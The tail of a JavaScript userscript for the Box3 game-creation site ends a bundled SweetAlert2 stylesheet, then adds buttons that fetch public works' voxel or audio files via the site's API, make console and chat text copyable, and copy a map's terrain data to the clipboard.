#b4dbed;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,.06),0 0 0 3px rgba(100,150,200,.5)}.swal2-input::placeholder,.swal2-file::placeholder,.swal2-textarea::placeholder{color:#ccc}.swal2-range{margin:1em 2em 3px;background:#fff}.swal2-range input{width:80%}.swal2-range output{width:20%;color:inherit;font-weight:600;text-align:center}.swal2-range input,.swal2-range output{height:2.625em;padding:0;font-size:1.125em;line-height:2.625em}.swal2-input{height:2.625em;padding:0 .75em}.swal2-file{width:75%;margin-right:auto;margin-left:auto;background:rgba(0,0,0,0);font-size:1.125em}.swal2-textarea{height:6.75em;padding:.75em}.swal2-select{min-width:50%;max-width:100%;padding:.375em .625em;background:rgba(0,0,0,0);color:inherit;font-size:1.125em}.swal2-radio,.swal2-checkbox{align-items:center;justify-content:center;background:#fff;color:inherit}.swal2-radio label,.swal2-checkbox label{margin:0 .6em;font-size:1.125em}.swal2-radio input,.swal2-checkbox input{flex-shrink:0;margin:0 .4em}.swal2-input-label{display:flex;justify-content:center;margin:1em auto 0}.swal2-validation-message{align-items:center;justify-content:center;margin:1em 0 0;padding:.625em;overflow:hidden;background:#f0f0f0;color:#666;font-size:1em;font-weight:300}.swal2-validation-message::before{content:"!";display:inline-block;width:1.5em;min-width:1.5em;height:1.5em;margin:0 .625em;border-radius:50%;background-color:#f27474;color:#fff;font-weight:600;line-height:1.5em;text-align:center}.swal2-icon{position:relative;box-sizing:content-box;justify-content:center;width:5em;height:5em;margin:2.5em auto .6em;border:0.25em solid rgba(0,0,0,0);border-radius:50%;border-color:#000;font-family:inherit;line-height:5em;cursor:default;user-select:none}.swal2-icon .swal2-icon-content{display:flex;align-items:center;font-size:3.75em}.swal2-icon.swal2-error{border-color:#f27474;color:#f27474}.swal2-icon.swal2-error .swal2-x-mark{position:relative;flex-grow:1}.swal2-icon.swal2-error [class^=swal2-x-mark-line]{display:block;position:absolute;top:2.3125em;width:2.9375em;height:.3125em;border-radius:.125em;background-color:#f27474}.swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=left]{left:1.0625em;transform:rotate(45deg)}.swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=right]{right:1em;transform:rotate(-45deg)}.swal2-icon.swal2-error.swal2-icon-show{animation:swal2-animate-error-icon .5s}.swal2-icon.swal2-error.swal2-icon-show .swal2-x-mark{animation:swal2-animate-error-x-mark .5s}.swal2-icon.swal2-warning{border-color:#facea8;color:#f8bb86}.swal2-icon.swal2-warning.swal2-icon-show{animation:swal2-animate-error-icon .5s}.swal2-icon.swal2-warning.swal2-icon-show .swal2-icon-content{animation:swal2-animate-i-mark .5s}.swal2-icon.swal2-info{border-color:#9de0f6;color:#3fc3ee}.swal2-icon.swal2-info.swal2-icon-show{animation:swal2-animate-error-icon .5s}.swal2-icon.swal2-info.swal2-icon-show .swal2-icon-content{animation:swal2-animate-i-mark .8s}.swal2-icon.swal2-question{border-color:#c9dae1;color:#87adbd}.swal2-icon.swal2-question.swal2-icon-show{animation:swal2-animate-error-icon .5s}.swal2-icon.swal2-question.swal2-icon-show .swal2-icon-content{animation:swal2-animate-question-mark .8s}.swal2-icon.swal2-success{border-color:#a5dc86;color:#a5dc86}.swal2-icon.swal2-success [class^=swal2-success-circular-line]{position:absolute;width:3.75em;height:7.5em;transform:rotate(45deg);border-radius:50%}.swal2-icon.swal2-success [class^=swal2-success-circular-line][class$=left]{top:-0.4375em;left:-2.0635em;transform:rotate(-45deg);transform-origin:3.75em 3.75em;border-radius:7.5em 0 0 7.5em}.swal2-icon.swal2-success [class^=swal2-success-circular-line][class$=right]{top:-0.6875em;left:1.875em;transform:rotate(-45deg);transform-origin:0 3.75em;border-radius:0 7.5em 7.5em 0}.swal2-icon.swal2-success .swal2-success-ring{position:absolute;z-index:2;top:-0.25em;left:-0.25em;box-sizing:content-box;width:100%;height:100%;border:.25em solid rgba(165,220,134,.3);border-radius:50%}.swal2-icon.swal2-success .swal2-success-fix{position:absolute;z-index:1;top:.5em;left:1.625em;width:.4375em;height:5.625em;transform:rotate(-45deg)}.swal2-icon.swal2-success [class^=swal2-success-line]{display:block;position:absolute;z-index:2;height:.3125em;border-radius:.125em;background-color:#a5dc86}.swal2-icon.swal2-success [class^=swal2-success-line][class$=tip]{top:2.875em;left:.8125em;width:1.5625em;transform:rotate(45deg)}.swal2-icon.swal2-success [class^=swal2-success-line][class$=long]{top:2.375em;right:.5em;width:2.9375em;transform:rotate(-45deg)}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-line-tip{animation:swal2-animate-success-line-tip .75s}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-line-long{animation:swal2-animate-success-line-long .75s}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-circular-line-right{animation:swal2-rotate-success-circular-line 4.25s ease-in}.swal2-progress-steps{flex-wrap:wrap;align-items:center;max-width:100%;margin:1.25em auto;padding:0;background:rgba(0,0,0,0);font-weight:600}.swal2-progress-steps li{display:inline-block;position:relative}.swal2-progress-steps .swal2-progress-step{z-index:20;flex-shrink:0;width:2em;height:2em;border-radius:2em;background:#2778c4;color:#fff;line-height:2em;text-align:center}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step{background:#2778c4}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step{background:#add8e6;color:#fff}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step-line{background:#add8e6}.swal2-progress-steps .swal2-progress-step-line{z-index:10;flex-shrink:0;width:2.5em;height:.4em;margin:0 -1px;background:#2778c4}[class^=swal2]{-webkit-tap-highlight-color:rgba(0,0,0,0)}.swal2-show{animation:swal2-show .3s}.swal2-hide{animation:swal2-hide .15s forwards}.swal2-noanimation{transition:none}.swal2-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}.swal2-rtl .swal2-close{margin-right:initial;margin-left:0}.swal2-rtl .swal2-timer-progress-bar{right:0;left:auto}@keyframes swal2-toast-show{0%{transform:translateY(-0.625em) rotateZ(2deg)}33%{transform:translateY(0) rotateZ(-2deg)}66%{transform:translateY(0.3125em) rotateZ(2deg)}100%{transform:translateY(0) rotateZ(0deg)}}@keyframes swal2-toast-hide{100%{transform:rotateZ(1deg);opacity:0}}@keyframes swal2-toast-animate-success-line-tip{0%{top:.5625em;left:.0625em;width:0}54%{top:.125em;left:.125em;width:0}70%{top:.625em;left:-0.25em;width:1.625em}84%{top:1.0625em;left:.75em;width:.5em}100%{top:1.125em;left:.1875em;width:.75em}}@keyframes swal2-toast-animate-success-line-long{0%{top:1.625em;right:1.375em;width:0}65%{top:1.25em;right:.9375em;width:0}84%{top:.9375em;right:0;width:1.125em}100%{top:.9375em;right:.1875em;width:1.375em}}@keyframes swal2-show{0%{transform:scale(0.7)}45%{transform:scale(1.05)}80%{transform:scale(0.95)}100%{transform:scale(1)}}@keyframes swal2-hide{0%{transform:scale(1);opacity:1}100%{transform:scale(0.5);opacity:0}}@keyframes swal2-animate-success-line-tip{0%{top:1.1875em;left:.0625em;width:0}54%{top:1.0625em;left:.125em;width:0}70%{top:2.1875em;left:-0.375em;width:3.125em}84%{top:3em;left:1.3125em;width:1.0625em}100%{top:2.8125em;left:.8125em;width:1.5625em}}@keyframes swal2-animate-success-line-long{0%{top:3.375em;right:2.875em;width:0}65%{top:3.375em;right:2.875em;width:0}84%{top:2.1875em;right:0;width:3.4375em}100%{top:2.375em;right:.5em;width:2.9375em}}@keyframes swal2-rotate-success-circular-line{0%{transform:rotate(-45deg)}5%{transform:rotate(-45deg)}12%{transform:rotate(-405deg)}100%{transform:rotate(-405deg)}}@keyframes swal2-animate-error-x-mark{0%{margin-top:1.625em;transform:scale(0.4);opacity:0}50%{margin-top:1.625em;transform:scale(0.4);opacity:0}80%{margin-top:-0.375em;transform:scale(1.15)}100%{margin-top:0;transform:scale(1);opacity:1}}@keyframes swal2-animate-error-icon{0%{transform:rotateX(100deg);opacity:0}100%{transform:rotateX(0deg);opacity:1}}@keyframes swal2-rotate-loading{0%{transform:rotate(0deg)}100%{transform:rotate(360deg)}}@keyframes swal2-animate-question-mark{0%{transform:rotateY(-360deg)}100%{transform:rotateY(0)}}@keyframes swal2-animate-i-mark{0%{transform:rotateZ(45deg);opacity:0}25%{transform:rotateZ(-25deg);opacity:.4}50%{transform:rotateZ(15deg);opacity:.8}75%{transform:rotateZ(-5deg);opacity:1}100%{transform:rotateX(0);opacity:1}}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown){overflow:hidden}body.swal2-height-auto{height:auto !important}body.swal2-no-backdrop .swal2-container{background-color:rgba(0,0,0,0) !important;pointer-events:none}body.swal2-no-backdrop .swal2-container .swal2-popup{pointer-events:all}body.swal2-no-backdrop .swal2-container .swal2-modal{box-shadow:0 0 10px rgba(0,0,0,.4)}@media print{body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown){overflow-y:scroll !important}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown)>[aria-hidden=true]{display:none}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown) .swal2-container{position:static !important}}body.swal2-toast-shown .swal2-container{box-sizing:border-box;width:360px;max-width:100%;background-color:rgba(0,0,0,0);pointer-events:none}body.swal2-toast-shown .swal2-container.swal2-top{top:0;right:auto;bottom:auto;left:50%;transform:translateX(-50%)}body.swal2-toast-shown .swal2-container.swal2-top-end,body.swal2-toast-shown .swal2-container.swal2-top-right{top:0;right:0;bottom:auto;left:auto}body.swal2-toast-shown .swal2-container.swal2-top-start,body.swal2-toast-shown .swal2-container.swal2-top-left{top:0;right:auto;bottom:auto;left:0}body.swal2-toast-shown .swal2-container.swal2-center-start,body.swal2-toast-shown .swal2-container.swal2-center-left{top:50%;right:auto;bottom:auto;left:0;transform:translateY(-50%)}body.swal2-toast-shown .swal2-container.swal2-center{top:50%;right:auto;bottom:auto;left:50%;transform:translate(-50%, -50%)}body.swal2-toast-shown .swal2-container.swal2-center-end,body.swal2-toast-shown .swal2-container.swal2-center-right{top:50%;right:0;bottom:auto;left:auto;transform:translateY(-50%)}body.swal2-toast-shown .swal2-container.swal2-bottom-start,body.swal2-toast-shown .swal2-container.swal2-bottom-left{top:auto;right:auto;bottom:0;left:0}body.swal2-toast-shown .swal2-container.swal2-bottom{top:auto;right:auto;bottom:0;left:50%;transform:translateX(-50%)}body.swal2-toast-shown .swal2-container.swal2-bottom-end,body.swal2-toast-shown .swal2-container.swal2-bottom-right{top:auto;right:0;bottom:0;left:auto}');
  4085. })(sweetalert2_all);
  4086. const Swal = sweetalert2_all.exports;
  4087.  
  4088. async function waitElement(query) {
  4089. let el;
  4090. while (true) {
  4091. el = document.querySelector(query);
  4092. if (el)
  4093. return el;
  4094. await new Promise(requestAnimationFrame);
  4095. }
  4096. }
  4097.  
  4098. const addCopyButton=`
  4099. <div id="copy" style="box-shadow: 0 0 50px 3px #00000038;z-index: 99999997;bottom: 100px;position: fixed;right: 50px;background: RGBA(255,255,255,0.3);padding: 0 20px;border-radius: 5px;height:30px">
  4100. <i style="color:lightblue;font-size: 20px;font-family: '黑体';">
  4101. <b id="change">复制地形</b>
  4102. </i>
  4103. </div>
  4104. `
  4105.  
  4106. const addDownloadButton=`<div><div style="float: left" id="download">
  4107. <svg style="font-size: 24px;" class="_2cOHkHbW1-1Jurc2jpRaEl"><!--?xml version="1.0" encoding="UTF-8"?-->
  4108. <svg width="22" height="25" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg">
  4109. <path d="M11.6777 20.271C7.27476 21.3181 4 25.2766 4 30C4 35.5228 8.47715 40 14 40C14.9474 40 15.864 39.8683 16.7325 39.6221" stroke="#9b9b9b" stroke-width="4" stroke-linecap="round" stroke-linejoin="round"></path>
  4110. <path d="M36.0547 20.271C40.4577 21.3181 43.7324 25.2766 43.7324 30C43.7324 35.5228 39.2553 40 33.7324 40C32.785 40 31.8684 39.8683 30.9999 39.6221" stroke="#9b9b9b" stroke-width="4" stroke-linecap="round" stroke-linejoin="round"></path>
  4111. <path d="M36 20C36 13.3726 30.6274 8 24 8C17.3726 8 12 13.3726 12 20" stroke="#9b9b9b" stroke-width="4" stroke-linecap="round" stroke-linejoin="round"></path>
  4112. <path d="M17.0654 30.119L23.9999 37.0764L31.1318 30" stroke="#9b9b9b" stroke-width="4" stroke-linecap="round" stroke-linejoin="round"></path>
  4113. <path d="M24 20V33.5382" stroke="#9b9b9b" stroke-width="4" stroke-linecap="round" stroke-linejoin="round"></path></svg></svg></div>
  4114. <p style="float: left;font-size:10px;margin-left:0px;color: #888888;">box3 up</p></div>`
  4115.  
  4116. var httpRequest = new XMLHttpRequest()
  4117. var _httpRequest = new XMLHttpRequest()
  4118. var $httpRequest = new XMLHttpRequest()
  4119.  
  4120. httpRequest.open('get','https://shequ.codemao.cn/user/2856172',true)
  4121. httpRequest.setRequestHeader("Content-type","application/json")
  4122.  
  4123. _httpRequest.open('get','https://shequ.codemao.cn/user/2856172',true)
  4124. _httpRequest.setRequestHeader("Content-type","application/json")
  4125.  
  4126. $httpRequest.open('get','https://shequ.codemao.cn/user/2856172',true)
  4127. $httpRequest.setRequestHeader("Content-type","application/json")
  4128.  
  4129. const url=new URL(window.location.href)
  4130. const type=url.pathname.match('/(.*?)/')[1]
  4131.  
  4132. let Button,where,data,hash,name,result,_hash,szie,blob,core,reactNodeName,box3CoreElement,voxels,v,ar,container,canCopy,rootElement
  4133. //let core;
  4134.  
  4135. setInterval(async()=>{//5秒执行一次可复制
  4136. try{
  4137. container = document.getElementsByClassName("ewiWP7xeQi2lL41Slo6EY")[0]//控制台可复制
  4138. container.setAttribute("contenteditable","true")
  4139. container.addEventListener('keydown', e => {
  4140. if (e.code=='KeyC'){
  4141. navigator.clipboard.writeText(
  4142. window.getSelection().toString())
  4143. }
  4144. e.preventDefault(e);
  4145. });
  4146. container = document.getElementsByClassName("_1v70OnBk5qWHiY_wwKmOFQ")[0]//聊天框
  4147. container.setAttribute("contenteditable","true")
  4148. container.addEventListener('keydown', e => {
  4149. if (e.code=='KeyC'){
  4150. navigator.clipboard.writeText(
  4151. window.getSelection().toString())
  4152. };
  4153. e.preventDefault(e);
  4154. });
  4155. container = document.querySelector("#__next__root > div > div.main-page_MainEditor__m_5Aw > div.main-page_gameEditor__YUu_y > div > div.debugPanel_logWrapper__Jcga0.editor-common_scrollbarStyle__S6GxS > div")
  4156. //新版控制台
  4157. container.setAttribute("contenteditable","true")
  4158. container.addEventListener('keydown', e => {
  4159. if (e.code=='KeyC'){
  4160. navigator.clipboard.writeText(
  4161. window.getSelection().toString())
  4162. };
  4163. e.preventDefault(e);
  4164. });
  4165. }catch{};
  4166. },5000)
  4167.  
  4168. setTimeout(async()=>{//延迟 防止页面未刷新时运行
  4169. document.designMode='true'
  4170. canCopy=document.createElement("style")
  4171. canCopy.innerHTML=`::selection{
  4172. background-color:lightblue
  4173. }`
  4174. document.head.appendChild(canCopy)
  4175. switch(type){
  4176. case 'v':
  4177. Button=document.createElement('div')
  4178. Button.innerHTML=addDownloadButton
  4179. where=document.getElementsByClassName("_1WICvWqK5nvauypwjwCzYJ")[0]
  4180. where.appendChild(Button)
  4181. document.getElementById("download").addEventListener('click',async()=>{
  4182. httpRequest.open('POST', 'https://box3.codemao.cn/api/api/content-server-rpc', true)
  4183. data={"type":"get",
  4184. "data":{
  4185. "type":"id",
  4186. "data":{
  4187. "type":2,
  4188. "isPublic":true,
  4189. "contentId":~~url.pathname.replace(url.pathname.match('/(.*?)/')[0],'')
  4190. }
  4191. }
  4192. }
  4193. httpRequest.send(JSON.stringify(data))
  4194. httpRequest.onreadystatechange=async()=>{
  4195. if(httpRequest.readyState !=4)return;
  4196. if(httpRequest.status===200&&httpRequest.response){
  4197. hash=JSON.parse(await httpRequest.response).data.data.hash
  4198. name=JSON.parse(await httpRequest.response).data.data.name
  4199.  
  4200. // console.log(JSON.parse(await httpRequest.response))
  4201. navigator.clipboard.writeText(hash)
  4202. console.log('成功获取到hash ',hash,'\n作品名称为',name)
  4203. result=await Swal.fire({
  4204. title:"成功获取到hash",
  4205. html:`hash: ${hash}<br/>已将Hash复制到剪贴板<br/>`,
  4206. cancelButtonText:"关闭",
  4207. // confirmButtonText:"下载文件",
  4208. // showCancelButton:true,
  4209. icon:"info",
  4210. }).isConfirmed
  4211.  
  4212. console.log('开始下载')
  4213. await saveAs(`https://static.box3.codemao.cn/block/${hash}`,name+'.vd')
  4214. console.log('结束下载')
  4215.  
  4216. }
  4217. else{
  4218. console.log('发生错误','<',httpRequest.status,'>',httpRequest.statusText)
  4219. Swal.fire(
  4220. `获取失败`,
  4221. `${httpRequest.status} ${httpRequest.statusText}`,
  4222. "error"
  4223. )
  4224. }
  4225. }
  4226. })
  4227. break;
  4228. case 'm':
  4229. Button=document.createElement('div')
  4230. Button.innerHTML=addDownloadButton
  4231. where=document.getElementsByClassName("_1WICvWqK5nvauypwjwCzYJ")[0]
  4232. where.appendChild(Button)
  4233. document.getElementById("download").addEventListener('click',async()=>{
  4234. httpRequest.open('POST', 'https://box3.codemao.cn/api/api/content-server-rpc', true)
  4235. data={"type":"get",
  4236. "data":{
  4237. "type":"id",
  4238. "data":{
  4239. "type":3,
  4240. "isPublic":true,
  4241. "contentId":~~url.pathname.replace(url.pathname.match('/(.*?)/')[0],'')
  4242. }
  4243. }
  4244. }
  4245. httpRequest.send(JSON.stringify(data))
  4246. httpRequest.onreadystatechange=async()=>{
  4247. if(httpRequest.readyState !=4)return;
  4248. if(httpRequest.status===200&&httpRequest.response){
  4249. hash=JSON.parse(await httpRequest.response).data.data.hash
  4250. name=JSON.parse(await httpRequest.response).data.data.name
  4251. console.log(JSON.parse(await httpRequest.response).data.data.hash)
  4252. console.log(`将请求https://static.box3.codemao.cn/block/${JSON.parse(await httpRequest.response).data.data.hash}`)
  4253. _httpRequest.open('get',`https://static.box3.codemao.cn/block/${hash}`,true)
  4254. _httpRequest.send()
  4255. _httpRequest.onreadystatechange=async()=>{
  4256. // console.log(JSON.parse(await httpRequest.response))
  4257. if(_httpRequest.readyState !=4)return;
  4258. if(_httpRequest.status===200&&_httpRequest.response){
  4259. _hash=JSON.parse(await _httpRequest.response).audioFiles[0].url
  4260. //size=JSON.parse(await _httpRequest.response).audioFiles[0].size
  4261. navigator.clipboard.writeText(_hash)
  4262. console.log('成功获取到hash ',_hash,'\n作品名称为',name)
  4263. result=await Swal.fire({
  4264. title:"成功获取到hash",
  4265. html:`#注:十分抱歉 因为伴雪能力有限没有办法转码了</br>你只能下载完文件后自己<b>调后缀名为.mp3</b></br>hash: ${_hash}<br/>已将Hash复制到剪贴板<br/>`,
  4266. cancelButtonText:"关闭",
  4267. // confirmButtonText:"下载文件",
  4268. // showCancelButton:true,
  4269. icon:"info",
  4270. }).isConfirmed
  4271.  
  4272. console.log('开始下载')
  4273. // $httpRequest.open('get',`https://static.box3.codemao.cn/block/${hash}`,true)
  4274. // $httpRequest.send()
  4275. // $httpRequest.onreadystatechange=async()=>{
  4276. // if($httpRequest.readyState!=4)return;
  4277. // blob = new Blob([$httpRequest.response], {type: "octet/stream;charset=ANSI"});
  4278. // saveAs(blob, name+'.mp3');
  4279. // }
  4280. // // saveAs(``,name+'.mp3');
  4281. open(`https://static.box3.codemao.cn/block/${_hash}`)
  4282. console.log('结束下载')
  4283. }
  4284. else{
  4285. console.log('发生错误','<',httpRequest.status,'>',httpRequest.statusText)
  4286. Swal.fire(`获取失败`,`${_httpRequest.status} ${_httpRequest.statusText}`,"error")
  4287. }
  4288. }
  4289. }
  4290. else{
  4291. console.log('发生错误','<',httpRequest.status,'>',httpRequest.statusText)
  4292. Swal.fire(`获取失败`,`${httpRequest.status} ${httpRequest.statusText}`,"error")
  4293. }
  4294. }
  4295. })
  4296. break;
  4297. case 'g':
  4298. Button=document.createElement('div')
  4299. Button.innerHTML=`<p style="float: left;font-size:3px;margin-left:0px;color: #888888;">
  4300. 不支持复制</br>有啥不满找吉吉喵理论</p>`
  4301. where=document.getElementsByClassName("_1WICvWqK5nvauypwjwCzYJ")[0]
  4302. where.appendChild(Button)
  4303. break;
  4304. case 'p':
  4305. box3CoreElement = document.querySelector('#react-container');
  4306. reactNodeName = Object.keys(box3CoreElement).filter((v) => v.includes('reactContain'))[0];
  4307. core = box3CoreElement[reactNodeName].updateQueue.baseState.element.props.children.props.children.props;
  4308. Button=document.createElement('div')
  4309. Button.innerHTML=addDownloadButton.replace("#9b9b9b","#ffffff").replace("#9b9b9b","#ffffff").replace("#9b9b9b","#ffffff")
  4310. .replace("#9b9b9b","#ffffff").replace("#9b9b9b","#ffffff").replace("#9b9b9b","#ffffff").replace("#888888","#ffffff")
  4311. where=document.getElementsByClassName("_3yZMLEB3f5nRSuAJ-yI7f9")[0]
  4312. where.appendChild(Button)
  4313. document.getElementById("download").addEventListener('click',async()=>{
  4314. voxels=[[0,1]]
  4315. for (var x = 0; x <= core.state.box3.state.voxel.shape[0]; x++) {
  4316. for (var z = 0; z <= core.state.box3.state.voxel.shape[2]; z++) {
  4317. for (var y = 0; y <= core.state.box3.state.voxel.shape[1]; y++) {
  4318. if(!voxels){
  4319. voxels.push([v,1])
  4320. continue
  4321. }
  4322. v=core.state.box3.voxel.getVoxel(x, y, z)
  4323. // console.log(voxels,voxels.length-1,v)
  4324. if(voxels[voxels.length-1][0]===v){
  4325. voxels[voxels.length-1][1]+=1
  4326. }
  4327. else{
  4328. voxels.push([v,1])
  4329. }
  4330.  
  4331. }}}
  4332.  
  4333. console.log(voxels)
  4334. navigator.clipboard.writeText(JSON.stringify(voxels))
  4335. Swal.fire('复制地图地形',`且用且珍惜</br>地图<b>全部地形已完成复制到剪切板 并使用最新压缩</b>
  4336. </br>请先创建一样尺寸的地图</br>然后在创作端输入解压缩代码<b></b></br></br><b>该地图大小为${core.state.box3.state.voxel.shape}</b></br><a href="https://api.bcmcreator.cn/MD/edit/examples/yll.php?k=3&amp;xjm=63299871529974642942" title="如何复制地形?" target="_blank"><strong>如何复制地形?</strong></a>`,"info")
  4337. })
  4338. break;
  4339. case "e":
  4340. // Button=document.createElement('div')
  4341. // Button.innerHTML=addCopyButton
  4342. // where=document.body
  4343. // where.appendChild(Button)
  4344. // document.getElementById("change").innerHTML="等待进入"
  4345. // rootElement = await waitElement("#edit-react");
  4346. // document.getElementById("change").innerHTML="复制地形"
  4347. // core=rootElement._reactRootContainer._internalRoot.current.updateQueue.baseState.element.props.children.props.children.props
  4348. break;
  4349. }},2000)
  4350.  
  4351. })();
  4352. //更新中....